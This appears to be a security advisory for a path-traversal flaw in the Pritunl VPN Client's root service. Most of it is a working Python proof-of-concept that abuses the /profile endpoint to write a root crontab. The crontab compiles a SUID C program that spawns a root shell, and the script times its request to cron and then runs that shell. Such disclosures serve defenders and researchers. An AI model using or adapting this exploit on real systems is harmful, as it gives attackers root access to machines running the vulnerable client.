The Pritunl Client communicated with a local service to perform actions. The service, running as root, would write user specified data to the user specified path, leading to privilege escalation. One of the endpoints, /profile, will accept Profile data (e.g. ID, config data, username, and password) and attempt to start the profile. When starting a profile, the service writes the config data to /tmp/pritunl/<ID>. This file write is vulnerable to path traversal and writes the file with root permissions. After a few seconds, the file is deleted. This could be used to modify system files and escalate privileges.

The following proof-of-concept works against Pritunl VPN Client v1.0.1075.52 and prior. It will create a binary at /tmp/exploit that launches a shell.

import requests
import time
import json
import os

# drop binary to execute a shell as root (after +s)
prog = """
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void) { setuid(0); setgid(0); system("/bin/sh"); }
"""
open('/tmp/exploit.c','w').write(prog)


# set up the payload to create a SUID binary via cron
payload = """# DO NOT EDIT THIS crontab, IT WILL BE DELETED
* * * * *  gcc -o /tmp/exploit /tmp/exploit.c && chmod +s /tmp/exploit
"""
profile = {
    "id": "../../var/at/tabs/root",
    "data": payload,
    "username": "what",
    "password": "ever"
}
profileData = json.dumps(profile)


# set up the request headers
headers = {
    "Content-Type": "application/json",
}

# read the public auth key, if relevant
keyFile = '/tmp/pritunl_auth'
if os.path.exists(keyFile):
    authKey = open(keyFile).read()
    headers.update({"Auth-Key": authKey})


# wait until just before cron would trigger
ts = time.localtime().tm_sec
time.sleep(60 - ts - 1)


# send exploit
url = "http://127.0.0.1:9770"
requests.post(url+"/profile", headers=headers, data=profileData)


# wait a few moments for cron to trigger
time.sleep(2)
os.system("/tmp/exploit")